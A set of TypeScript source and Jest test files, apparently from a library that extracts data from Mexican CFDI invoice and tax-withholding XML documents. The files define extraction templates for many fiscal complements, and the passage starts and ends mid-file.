public static extractDataRetencion10(params: { xmlExtract: XMLExtract, minimalData: Boolean, customTemplateDefinition?: Object }) {
let data, complementsDefinition = this.getComplementsRetencionDefinition({ minimalData: params.minimalData });
let templatesDefinitionPosition = `extractDataRetencion10${params.minimalData ? 'Min' : ''}`;
if(params.minimalData) {
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
'Retenciones | retenciones:Retenciones': {
attributes: [ 'version' ],
nodes: {
'Emisor': {
position: 'emisor',
attributes: ['rfcEmisor', 'nomDenRazSocE'],
},
'Receptor': {
position: 'receptor',
attributes: ['nacionalidad'],
nodes: {
'Nacional': {
attributes: ['rfcRecep'],
},
'Extranjero': {
attributes: ['numRegIdTrib'],
}
}
},
'Complemento': complementsDefinition,
}
}
};
}
return params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
}
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
'Retenciones | retenciones:Retenciones': {
attributes: [
'version', 'folioInt', 'sello', 'numCert', 'cert', 'fechaExp', 'cveRetenc', 'descRetenc',
],
nodes: {
'Emisor': {
position: 'emisor',
attributes: ['rfcEmisor', 'nomDenRazSocE', 'curpe'],
},
'Receptor': {
position: 'receptor',
attributes: ['nacionalidad'],
nodes: {
'Nacional': {
attributes: [ 'rfcRecep', 'nomDenRazSocR', 'curpr' ],
},
'Extranjero': {
attributes: ['numRegIdTrib', 'nomDenRazSocR'],
}
}
},
'Periodo': {
position: 'periodo',
attributes: ['mesIni', 'mesFin', 'ejerc'],
},
'Totales': {
position: 'totales',
attributes: ['montoTotOperacion', 'montoTotGrav', 'montoTotExent', 'montoTotRet'],
nodes: {
'ImpRetenidos': {
strictArrayResponse: true,
position: 'impuestosRetenidos',
attributes: [ 'baseRet', 'impuesto', 'montoRet', 'tipoPagoRet' ],
},
}
},
'Complemento': complementsDefinition,
}
}
};
}
return params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
}
public static getTaxesWithoutDuplicates(taxes: Array<tImpuesto>) {
let localTaxes: any = {}, tax: tImpuesto, result = [], taxesCopy = taxes.map((tax: tImpuesto) => { return (<any> Object).assign({}, tax); });
for(tax of taxesCopy) {
tax.importe = parseFloat(tax.importe);
tax.impuesto = tax.impuesto.toUpperCase();
let taxPosition = tax.impuesto + (tax.tasa || tax.tasaOCuota);
if(localTaxes[taxPosition]) {
localTaxes[taxPosition].importe += tax.importe;
} else {
localTaxes[taxPosition] = tax;
}
}
for(let i in localTaxes) {
if(localTaxes.hasOwnProperty(i)) {
result.push(localTaxes[i]);
}
}
return result;
}
public static getSumTaxes(taxes: any) {
let result = 0, tax;
for(tax of taxes) {
result += parseFloat(tax.importe);
}
return result;
}
public static getConcepts32Definition(params: { minimalData: Boolean }) {
return {
nodes: {
'Concepto': {
position: 'conceptos',
strictArrayResponse: true,
attributes: ['cantidad','unidad', 'descripcion', 'valorUnitario', 'importe'],
nodes: {
'CuentaPredial': {
position: 'cuentaPredial',
attributes: ['numero']
},
'InformacionAduanera': {
position: 'informacionAduanera',
attributes: ['numero', 'fecha', 'aduana']
},
'ComplementoConcepto': this.getConceptsComplementsDefinition({ minimalData: params.minimalData }),
'Parte': {
position: 'partes',
strictArrayResponse: true,
attributes: [
'cantidad', 'unidad', 'noIdentificacion', 'descripcion', 'valorUnitario', 'importe'
],
nodes: {
'InformacionAduanera': {
position: 'informacionAduanera',
attributes: ['numero', 'fecha', 'aduana']
},
}
}
}
}
}
}
}
public static getConcepts33Definition(params: { minimalData: Boolean }) {
return {
nodes: {
'Concepto': {
position: 'conceptos',
strictArrayResponse: true,
attributes: [
'claveProdServ','noIdentificacion','cantidad','claveUnidad',
'unidad','descripcion','valorUnitario','importe','descuento'
],
nodes: {
'CuentaPredial': {
position: 'cuentaPredial',
attributes: ['numero']
},
'InformacionAduanera': {
position: 'informacionAduanera',
attributes: ['numero', 'fecha', 'aduana']
},
'ComplementoConcepto': this.getConceptsComplementsDefinition({ minimalData: params.minimalData }),
'Parte': {
position: 'partes',
strictArrayResponse: true,
attributes: [
'cantidad', 'unidad', 'noIdentificacion', 'descripcion', 'valorUnitario', 'importe'
],
nodes: {
'InformacionAduanera': {
position: 'informacionAduanera',
attributes: ['numero', 'fecha', 'aduana']
},
}
},
'Impuestos': {
position: 'impuestos',
nodes: {
'Traslados': {
nodes: {
'Traslado': {
position: 'traslados',
strictArrayResponse: true,
attributes: ['base', 'impuesto', 'tipoFactor', 'tasaOCuota', 'importe']
}
}
},
'Retenciones': {
nodes: {
'Retencion': {
position: 'retenciones',
strictArrayResponse: true,
attributes: ['base', 'impuesto', 'tipoFactor', 'tasaOCuota', 'importe']
}
}
}
}
}
}
}
}
};
}
public static getConceptsComplementsDefinition(params: tMinimalData) {
let templatesDefinitionPosition = `getConceptsComplementsDefinition${params.minimalData ? 'Min' : ''}`;
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
nodes: {
// Instituciones educativas privadas
...templatesDefinition.getInstitucionesEducativasPrivadasDefinition({ minimalData: params.minimalData }),
// Venta vehiculos v1.0 and v1.1
...templatesDefinition.getVentaVehiculosDefinition({ minimalData: params.minimalData }),
// Terceros v1.1
...templatesDefinition.getTercerosDefinition({ minimalData: params.minimalData }),
// Acreditamiento IEPS v1.1
...templatesDefinition.getAcreditamientoIepsDefinition({ minimalData: params.minimalData }),
}
};
}
return __templates_definitions__[templatesDefinitionPosition];
}
public static getComplementsDefinition(params: tMinimalData) {
let templatesDefinitionPosition = `getComplementsDefinition${params.minimalData ? 'Min' : ''}`;
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
nodes: {
// Timbre fiscal definition
...templatesDefinition.getTimbreDefinition({ minimalData: params.minimalData }),
// Pagos definition
...templatesDefinition.getPagosDefinition({ minimalData: params.minimalData }),
// Impuestos locales
...templatesDefinition.getImpLocalDefinition({ minimalData: params.minimalData }),
// Nomina v1.1 and v1.2
...templatesDefinition.getNomina11Definition({ minimalData: params.minimalData }),
...templatesDefinition.getNomina12Definition({ minimalData: params.minimalData }),
// EstadoDeCuentaCombustible v1.0, v1.1 and v1.2
...templatesDefinition.getEstadoCuentaCombustible10Definition({ minimalData: params.minimalData }),
...templatesDefinition.getEstadoCuentaCombustible11Definition({ minimalData: params.minimalData }),
...templatesDefinition.getEstadoCuentaCombustible12Definition({ minimalData: params.minimalData }),
// Donatarias v1.0 and v1.1
...templatesDefinition.getDonatariasDefinition({ minimalData: params.minimalData }),
// Estado de cuenta bancario
...templatesDefinition.getEstadoCuentaBancario({ minimalData: params.minimalData }),
// Divisas v1.0
...templatesDefinition.getDivisasDefinition({ minimalData: params.minimalData }),
// Leyendas fiscales v1.1
...templatesDefinition.getLeyendasFiscalesDefinition({ minimalData: params.minimalData }),
// Personas fisicas integrantes de coordinados v1.0
...templatesDefinition.getPFintegranteCoordinadoDefinition({ minimalData: params.minimalData }),
// Turista pasajero extranjero v1.0
...templatesDefinition.getTuristaPasajeroExtranjeroDefinition({ minimalData: params.minimalData }),
// SPEI v?
...templatesDefinition.getSpeiDefinition({ minimalData: params.minimalData }),
// Detallista v?
// TODO: Add all nodes
...templatesDefinition.getDetallistaDefinition({ minimalData: params.minimalData }),
// CFDI Registro Fiscal Definition v1.0
...templatesDefinition.getCfdiRegistroFiscalDefinition({ minimalData: params.minimalData }),
// Pago en especie v1.0
...templatesDefinition.getPagoEnEspecieDefinition({ minimalData: params.minimalData }),
// Vales de despensa v1.0
...templatesDefinition.getValesDespensaDefinition({ minimalData: params.minimalData }),
// Consumo de combustibles v1.0 and v1.1
...templatesDefinition.getConsumoDeCombustibles10Definition({ minimalData: params.minimalData }),
...templatesDefinition.getConsumoDeCombustibles11Definition({ minimalData: params.minimalData }),
// Aerolineas v1.0
...templatesDefinition.getAerolineasDefinition({ minimalData: params.minimalData }),
// Notarios v1.0
...templatesDefinition.getNotariosDefinition({ minimalData: params.minimalData }),
// Auto usado v1.0
...templatesDefinition.getVehiculoUsadoDefinition({ minimalData: params.minimalData }),
// Servicio parcial de construcción v1.0
...templatesDefinition.getServicioParcialConstruccionDefinition({ minimalData: params.minimalData }),
// Renovación y sustitución de vehiculos v?
// TODO: Add all nodes
...templatesDefinition.getRenovacionSustitucionVehiculosDefinition({ minimalData: params.minimalData }),
// Certificado de destrucción v1.0
// TODO: Add all nodes
...templatesDefinition.getCertificadoDestruccionDefinition({ minimalData: params.minimalData }),
// Obras de arte plásticas y antigüedades v1.0
...templatesDefinition.getObrasArteAntiguedadesDefinition({ minimalData: params.minimalData }),
// Comercio exterior v1.0 and v1.1
// TODO: Add all nodes
...templatesDefinition.getComercioExterior10Definition({ minimalData: params.minimalData }),
...templatesDefinition.getComercioExterior11Definition({ minimalData: params.minimalData }),
// INE v1.0 and 1.1
// TODO: Add all nodes
...templatesDefinition.getIneDefinition({ minimalData: params.minimalData }),
}
};
}
return __templates_definitions__[templatesDefinitionPosition];
}
public static getComplementsRetencionDefinition(params: tMinimalData) {
let templatesDefinitionPosition = `getComplementsRetencionDefinition${params.minimalData ? 'Min' : ''}`;
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
nodes: {
...templatesDefinition.getTimbreDefinition({ minimalData: params.minimalData }),
...templatesDefinition.getPlataformasTecnologicas10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getArriendoFideicomiso10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getDividendos10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getEnajenacionDeAcciones10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getFideicomisoNoEmpresarial10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getIntereses10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getInteresesHipotecarios10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getOperacionesConDerivados10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getPagosAExtranjeros10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getPlanesDeRetiro10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getPremios10Definition({ minimalData: params.minimalData}),
...templatesDefinition.getSectorFinanciero10Definition({ minimalData: params.minimalData}),
}
};
}
return __templates_definitions__[templatesDefinitionPosition];
}
}
<file_sep>import { tMinimalData } from '../index.d';
export default () => {
return {
position: 'impuestos',
attributes: ['totalImpuestosRetenidos', 'totalImpuestosTrasladados'],
nodes: {
'Traslados': {
nodes: {
'Traslado': {
position: 'traslados',
strictArrayResponse: true,
// Aplica tasa para cfdi v3.2
attributes: [
'impuesto',
'tipoFactor',
'tasaOCuota',
'importe',
'tasa'
]
}
}
},
'Retenciones': {
nodes: {
'Retencion': {
position: 'retenciones',
strictArrayResponse: true,
attributes: ['impuesto', 'importe']
}
}
}
}
};
};
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"leyendasFisc:LeyendasFiscales": {
position: "leyendasFiscales",
attributes: ["version"]
}
};
export const allDataDefinition = {
"leyendasFisc:LeyendasFiscales": {
position: "leyendasFiscales",
attributes: ["version"],
nodes: {
"leyendasFisc:Leyenda": {
strictArrayResponse: true,
position: "leyendasArray",
attributes: ["disposicionFiscal", "norma", "textoLeyenda"]
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"divisas:Divisas": {
position: "divisas",
attributes: ["version"]
}
};
export const allDataDefinition = {
"divisas:Divisas": {
position: "divisas",
attributes: ["version", "tipoOperacion"]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import renovacionSustVehiculosTemplate from "../renovacion-sustitucion-vehiculos";
describe("Renovacion, sustitucion de vehiculos data test", () => {
it("Execute without params", () => {
expect(renovacionSustVehiculosTemplate()).toEqual({
"decreto:renovacionysustitucionvehiculos": {
position: "renovacionSustitucionVehiculos",
attributes: ["version", "tipoDeDecreto"]
}
});
});
it("Execute with minimalData: False", () => {
expect(renovacionSustVehiculosTemplate({ minimalData: false })).toEqual({
"decreto:renovacionysustitucionvehiculos": {
position: "renovacionSustitucionVehiculos",
attributes: ["version", "tipoDeDecreto"]
}
});
});
it("Execute with minimalData: True", () => {
expect(renovacionSustVehiculosTemplate({ minimalData: true })).toEqual({
"decreto:renovacionysustitucionvehiculos": {
position: "renovacionSustitucionVehiculos",
attributes: ["version"]
}
});
});
});
<file_sep>import divisasTemplate from "../divisas";
describe("Divisas data test", () => {
it("Execute without params", () => {
expect(divisasTemplate()).toEqual({
"divisas:Divisas": {
position: "divisas",
attributes: ["version", "tipoOperacion"]
}
});
});
it("Execute with minimalData: False", () => {
expect(divisasTemplate({ minimalData: false })).toEqual({
"divisas:Divisas": {
position: "divisas",
attributes: ["version", "tipoOperacion"]
}
});
});
it("Execute with minimalData: True", () => {
expect(divisasTemplate({ minimalData: true })).toEqual({
"divisas:Divisas": {
position: "divisas",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"pagoenespecie:PagoEnEspecie": {
position: "pagoEnEspecie",
attributes: ["version"]
}
};
export const allDataDefinition = {
"pagoenespecie:PagoEnEspecie": {
position: "pagoEnEspecie",
attributes: [
"version",
"cvePIC",
"folioSolDon",
"pzaArtNombre",
"pzaArtTecn",
"pzaArtAProd",
"pzaArtDim"
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"ecc11:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["version", "total"]
}
};
export const allDataDefinition = {
"ecc11:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"ecc11:Conceptos": {
nodes: {
"ecc11:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"tar",
"cantidad",
"noIdentificacion",
"unidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc11:Traslados": {
nodes: {
"ecc11:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"dividendos:Dividendos": {
position: "dividendos",
attributes: ["version"]
}
};
export const allDataDefinition = {
"dividendos:Dividendos": {
position: "dividendos",
attributes: [ "version" ],
nodes: {
"dividendos:DividOUtil": {
strictArrayResponse: true,
position: "arrayDividOUtil",
attributes: [
"cveTipDivOUtil",
"montISRAcredRetMexico",
"montISRAcredRetExtranjero",
"montRetExtDivExt",
"tipoSocDistrDiv",
"montISRAcredNal",
"montDivAcumNal",
"montDivAcumExt",
]
},
"dividendos:Remanente": {
strictArrayResponse: true,
position: "arrayRemanentes",
attributes: [
"proporcionRem"
]
},
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import edoCtaCombustible12 from "../estado-cuenta-combustible12";
describe("Estado de cuenta de combustible 12 data test", () => {
it("Execute without params", () => {
expect(edoCtaCombustible12()).toEqual({
"ecc12:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"ecc12:Conceptos": {
nodes: {
"ecc12:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"tipoCombustible",
"unidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc12:Traslados": {
nodes: {
"ecc12:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(edoCtaCombustible12({ minimalData: false })).toEqual({
"ecc12:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"ecc12:Conceptos": {
nodes: {
"ecc12:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"tipoCombustible",
"unidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc12:Traslados": {
nodes: {
"ecc12:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(edoCtaCombustible12({ minimalData: true })).toEqual({
"ecc12:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["version"]
}
});
});
});
<file_sep>import certificadoDestruccionTemplate from "../certificado-destruccion";
describe("Certificado_destruccion data test", () => {
it("Execute with minimal", () => {
expect(certificadoDestruccionTemplate()).toEqual({
"destruccion:certificadodedestruccion": {
position: "certificadoDestruccion",
attributes: ["version", "serie", "numFolDesVeh"]
}
});
});
});
<file_sep>import institucionesEducativasPrivadasTemplate from "../conceptos.instituciones-educativas-privadas";
describe("Conceptos de instituciones educativas privadas data test", () => {
it("Execute with minimal data", () => {
expect(institucionesEducativasPrivadasTemplate()).toEqual({
"iedu:instEducativas": {
position: "instEducativa",
attributes: [
"version",
"nombreAlumno",
"curp",
"nivelEducativo",
"autRVOE",
"rfcPago"
]
}
});
});
});
<file_sep>/// <reference types="cfdi" />
export interface NodoImpuestos {
totalImpuestosRetenidos: number;
totalImpuestosTrasladados: number;
traslados: Array<Impuesto>;
retenciones: Array<Impuesto>;
}
export interface tImpuesto {
impuesto: string;
tipoFactor?: number;
tasaOCuota?: number;
importe: any;
tasa?: number;
}
export interface tMinimalData {
minimalData: Boolean;
}
<file_sep>import dividendos10Template from "../retenciones.dividendos10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(dividendos10Template()).toEqual({
"dividendos:Dividendos": {
position: "dividendos",
attributes: [ "version" ],
nodes: {
"dividendos:DividOUtil": {
strictArrayResponse: true,
position: "arrayDividOUtil",
attributes: [
"cveTipDivOUtil",
"montISRAcredRetMexico",
"montISRAcredRetExtranjero",
"montRetExtDivExt",
"tipoSocDistrDiv",
"montISRAcredNal",
"montDivAcumNal",
"montDivAcumExt",
]
},
"dividendos:Remanente": {
strictArrayResponse: true,
position: "arrayRemanentes",
attributes: [
"proporcionRem"
]
},
}
}
});
});
it("Execute with minimalData true", () => {
expect(
dividendos10Template({
minimalData: true
})
).toEqual({
"dividendos:Dividendos": {
position: "dividendos",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
dividendos10Template({
minimalData: false
})
).toEqual({
"dividendos:Dividendos": {
position: "dividendos",
attributes: [ "version" ],
nodes: {
"dividendos:DividOUtil": {
strictArrayResponse: true,
position: "arrayDividOUtil",
attributes: [
"cveTipDivOUtil",
"montISRAcredRetMexico",
"montISRAcredRetExtranjero",
"montRetExtDivExt",
"tipoSocDistrDiv",
"montISRAcredNal",
"montDivAcumNal",
"montDivAcumExt",
]
},
"dividendos:Remanente": {
strictArrayResponse: true,
position: "arrayRemanentes",
attributes: [
"proporcionRem"
]
},
}
}
});
});
});
<file_sep>import speiTemplate from "../spei";
describe("Spei data test", () => {
it("Execute without params", () => {
expect(speiTemplate()).toEqual({
"spei:Complemento_SPEI": {
position: "spei",
nodes: {
"spei:SPEI_Tercero": {
strictArrayResponse: true,
position: "speiTerceroArray",
attributes: [
"fechaOperacion",
"hora",
"claveSPEI",
"sello",
"numeroCertificado",
"cadenaCDA"
],
nodes: {
"spei:Ordenante": {
position: "ordenante",
attributes: [
"bancoEmisor",
"nombre",
"tipoCuenta",
"cuenta",
"rfc"
]
},
"spei:Beneficiario": {
position: "benerificario",
attributes: [
"bancoReceptor",
"nombre",
"tipoCuenta",
"cuenta",
"rfc",
"concepto",
"iva",
"montoPago"
]
}
}
}
}
}
});
});
});
<file_sep>import leyendasFiscalesTemplate from "../leyendas-fiscales";
describe("Leyendas fiscales data test", () => {
it("Execute without params", () => {
expect(leyendasFiscalesTemplate()).toEqual({
"leyendasFisc:LeyendasFiscales": {
position: "leyendasFiscales",
attributes: ["version"],
nodes: {
"leyendasFisc:Leyenda": {
strictArrayResponse: true,
position: "leyendasArray",
attributes: ["disposicionFiscal", "norma", "textoLeyenda"]
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(leyendasFiscalesTemplate({ minimalData: false })).toEqual({
"leyendasFisc:LeyendasFiscales": {
position: "leyendasFiscales",
attributes: ["version"],
nodes: {
"leyendasFisc:Leyenda": {
strictArrayResponse: true,
position: "leyendasArray",
attributes: ["disposicionFiscal", "norma", "textoLeyenda"]
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(leyendasFiscalesTemplate({ minimalData: true })).toEqual({
"leyendasFisc:LeyendasFiscales": {
position: "leyendasFiscales",
attributes: ["version"]
}
});
});
});
<file_sep>import pagoEnEspecieTemplate from "../pago-en-especie";
describe("Pago en especie data test", () => {
it("Execute without params", () => {
expect(pagoEnEspecieTemplate()).toEqual({
"pagoenespecie:PagoEnEspecie": {
position: "pagoEnEspecie",
attributes: [
"version",
"cvePIC",
"folioSolDon",
"pzaArtNombre",
"pzaArtTecn",
"pzaArtAProd",
"pzaArtDim"
]
}
});
});
it("Execute with minimalData: False", () => {
expect(pagoEnEspecieTemplate({ minimalData: false })).toEqual({
"pagoenespecie:PagoEnEspecie": {
position: "pagoEnEspecie",
attributes: [
"version",
"cvePIC",
"folioSolDon",
"pzaArtNombre",
"pzaArtTecn",
"pzaArtAProd",
"pzaArtDim"
]
}
});
});
it("Execute with minimalData: True", () => {
expect(pagoEnEspecieTemplate({ minimalData: true })).toEqual({
"pagoenespecie:PagoEnEspecie": {
position: "pagoEnEspecie",
attributes: ["version"]
}
});
});
});
<file_sep>import donatariasTemplate from "../donatarias";
describe("donatarias data test", () => {
it("Execute without params", () => {
expect(donatariasTemplate()).toEqual({
"donat:Donatarias": {
position: "donatarias",
attributes: [
"version",
"noAutorizacion",
"fechaAutorizacion",
"leyenda"
]
}
});
});
it("Execute with minimalData: False", () => {
expect(donatariasTemplate({ minimalData: false })).toEqual({
"donat:Donatarias": {
position: "donatarias",
attributes: [
"version",
"noAutorizacion",
"fechaAutorizacion",
"leyenda"
]
}
});
});
it("Execute with minimalData: True", () => {
expect(donatariasTemplate({ minimalData: true })).toEqual({
"donat:Donatarias": {
position: "donatarias",
attributes: ["version"]
}
});
});
});
<file_sep>import valesDespensaTemplate from "../vales-despensa";
describe("Vales de despensa data test", () => {
it("Execute without params", () => {
expect(valesDespensaTemplate()).toEqual({
"valesdedespensa:ValesDeDespensa": {
position: "valesDeDespensa",
attributes: [
"version",
"tipoOperacion",
"registroPatronal",
"numeroDeCuenta",
"total"
],
nodes: {
"valesdedespensa:Conceptos": {
nodes: {
"valesdedespensa:Concepto": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"curp",
"nombre",
"numSeguridadSocial",
"importe"
]
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(valesDespensaTemplate({ minimalData: false })).toEqual({
"valesdedespensa:ValesDeDespensa": {
position: "valesDeDespensa",
attributes: [
"version",
"tipoOperacion",
"registroPatronal",
"numeroDeCuenta",
"total"
],
nodes: {
"valesdedespensa:Conceptos": {
nodes: {
"valesdedespensa:Concepto": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"curp",
"nombre",
"numSeguridadSocial",
"importe"
]
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(valesDespensaTemplate({ minimalData: true })).toEqual({
"valesdedespensa:ValesDeDespensa": {
position: "valesDeDespensa",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"ecc:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["subTotal", "total"]
}
};
export const allDataDefinition = {
"ecc:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["tipoOperacion", "numeroDeCuenta", "subTotal", "total"],
nodes: {
"ecc:Conceptos": {
nodes: {
"ecc:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc:Traslados": {
nodes: {
"ecc:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import fideicomisoNoEmpresarialTemplate from "../retenciones.fideicomisoNoEmpresarial10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(fideicomisoNoEmpresarialTemplate()).toEqual({
"fideicomisonoempresarial:Fideicomisonoempresarial": {
position: "fideicomisoNoEmpresarial",
attributes: [ "version" ],
nodes: {
"fideicomisonoempresarial:IngresosOEntradas": {
strictArrayResponse: true,
position: "ingresosOEntradas",
attributes: [
"montTotEntradasPeriodo",
"partPropAcumDelFideicom",
"propDelMontTot",
],
nodes: {
"integracIngresos": {
attributes: [ "concepto" ]
}
}
},
"fideicomisonoempresarial:DeduccOSalidas": {
strictArrayResponse: true,
position: "deduccOSalidas",
attributes: [
"montTotEgresPeriodo",
"partPropDelFideicom",
"propDelMontTot",
],
nodes: {
"IntegracEgresos": {
attributes: [ "conceptoS" ]
}
}
},
"fideicomisonoempresarial:RetEfectFideicomiso": {
strictArrayResponse: true,
position: "retEfectFideicomiso",
attributes: [
"montRetRelPagFideic",
"descRetRelPagFideic",
]
},
}
}
});
});
it("Execute with minimalData true", () => {
expect(
fideicomisoNoEmpresarialTemplate({
minimalData: true
})
).toEqual({
"fideicomisonoempresarial:Fideicomisonoempresarial": {
position: "fideicomisoNoEmpresarial",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
fideicomisoNoEmpresarialTemplate({
minimalData: false
})
).toEqual({
"fideicomisonoempresarial:Fideicomisonoempresarial": {
position: "fideicomisoNoEmpresarial",
attributes: [ "version" ],
nodes: {
"fideicomisonoempresarial:IngresosOEntradas": {
strictArrayResponse: true,
position: "ingresosOEntradas",
attributes: [
"montTotEntradasPeriodo",
"partPropAcumDelFideicom",
"propDelMontTot",
],
nodes: {
"integracIngresos": {
attributes: [ "concepto" ]
}
}
},
"fideicomisonoempresarial:DeduccOSalidas": {
strictArrayResponse: true,
position: "deduccOSalidas",
attributes: [
"montTotEgresPeriodo",
"partPropDelFideicom",
"propDelMontTot",
],
nodes: {
"IntegracEgresos": {
attributes: [ "conceptoS" ]
}
}
},
"fideicomisonoempresarial:RetEfectFideicomiso": {
strictArrayResponse: true,
position: "retEfectFideicomiso",
attributes: [
"montRetRelPagFideic",
"descRetRelPagFideic",
]
},
}
}
});
});
});
<file_sep>import pagosAExtranjerosTemplate from "../retenciones.pagosAExtranjeros10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(pagosAExtranjerosTemplate()).toEqual({
"pagosaextranjeros:Pagosaextranjeros": {
position: "pagosAExtranjeros",
attributes: [ "version", "esBenefEfectDelCobro" ],
nodes: {
"pagosaextranjeros:NoBeneficiario": {
strictArrayResponse: true,
position: "noBeneficiarios",
attributes: [
"paisDeResidParaEfecFisc",
"conceptoPago",
"descripcionConcepto",
],
},
"pagosaextranjeros:Beneficiario": {
strictArrayResponse: true,
position: "beneficiarios",
attributes: [
"rfc",
"curp",
"nomDenRazSocB",
"conceptoPago",
"descripcionConcepto",
],
},
}
}
});
});
it("Execute with minimalData true", () => {
expect(
pagosAExtranjerosTemplate({
minimalData: true
})
).toEqual({
"pagosaextranjeros:Pagosaextranjeros": {
position: "pagosAExtranjeros",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
pagosAExtranjerosTemplate({
minimalData: false
})
).toEqual({
"pagosaextranjeros:Pagosaextranjeros": {
position: "pagosAExtranjeros",
attributes: [ "version", "esBenefEfectDelCobro" ],
nodes: {
"pagosaextranjeros:NoBeneficiario": {
strictArrayResponse: true,
position: "noBeneficiarios",
attributes: [
"paisDeResidParaEfecFisc",
"conceptoPago",
"descripcionConcepto",
],
},
"pagosaextranjeros:Beneficiario": {
strictArrayResponse: true,
position: "beneficiarios",
attributes: [
"rfc",
"curp",
"nomDenRazSocB",
"conceptoPago",
"descripcionConcepto",
],
},
}
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"consumodecombustibles11:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: ["version"]
}
};
export const allDataDefinition = {
"consumodecombustibles11:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles11:Conceptos": {
nodes: {
"consumodecombustibles11:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
